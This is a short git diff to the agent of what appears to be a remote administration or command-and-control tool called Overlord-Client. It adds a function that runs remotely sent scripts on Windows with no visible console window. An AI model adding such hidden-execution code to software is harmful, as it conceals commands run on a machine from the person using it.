diff --git a/Overlord-Client/cmd/agent/handlers/script.go b/Overlord-Client/cmd/agent/handlers/script.go index 99674d8..7c5ecc9 100644 --- a/Overlord-Client/cmd/agent/handlers/script.go +++ b/Overlord-Client/cmd/agent/handlers/script.go @@ -57,6 +57,8 @@ func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID strin }) } + hideCmdWindow(cmd) + timeout := 5 * time.Minute ctx, cancel := context.WithTimeout(ctx, timeout) defer cancel() diff --git a/Overlord-Client/cmd/agent/handlers/silent_exec_unix.go b/Overlord-Client/cmd/agent/handlers/silent_exec_unix.go index c41880e..79921e1 100644 --- a/Overlord-Client/cmd/agent/handlers/silent_exec_unix.go +++ b/Overlord-Client/cmd/agent/handlers/silent_exec_unix.go @@ -10,6 +10,8 @@ import ( "strings" ) +func hideCmdWindow(_ *exec.Cmd) {} + func startSilentProcess(command string, args []string, cwd string, _ bool) error { ext := strings.ToLower(filepath.Ext(command)) diff --git a/Overlord-Client/cmd/agent/handlers/silent_exec_windows.go b/Overlord-Client/cmd/agent/handlers/silent_exec_windows.go index 685781a..e4df006 100644 --- a/Overlord-Client/cmd/agent/handlers/silent_exec_windows.go +++ b/Overlord-Client/cmd/agent/handlers/silent_exec_windows.go @@ -13,6 +13,13 @@ import ( "golang.org/x/sys/windows" ) +func hideCmdWindow(cmd *exec.Cmd) { + cmd.SysProcAttr = &syscall.SysProcAttr{ + HideWindow: true, + CreationFlags: windows.CREATE_NO_WINDOW, + } +} + func startSilentProcess(command string, args []string, cwd string, hideWindow bool) error { ext := strings.ToLower(filepath.Ext(command))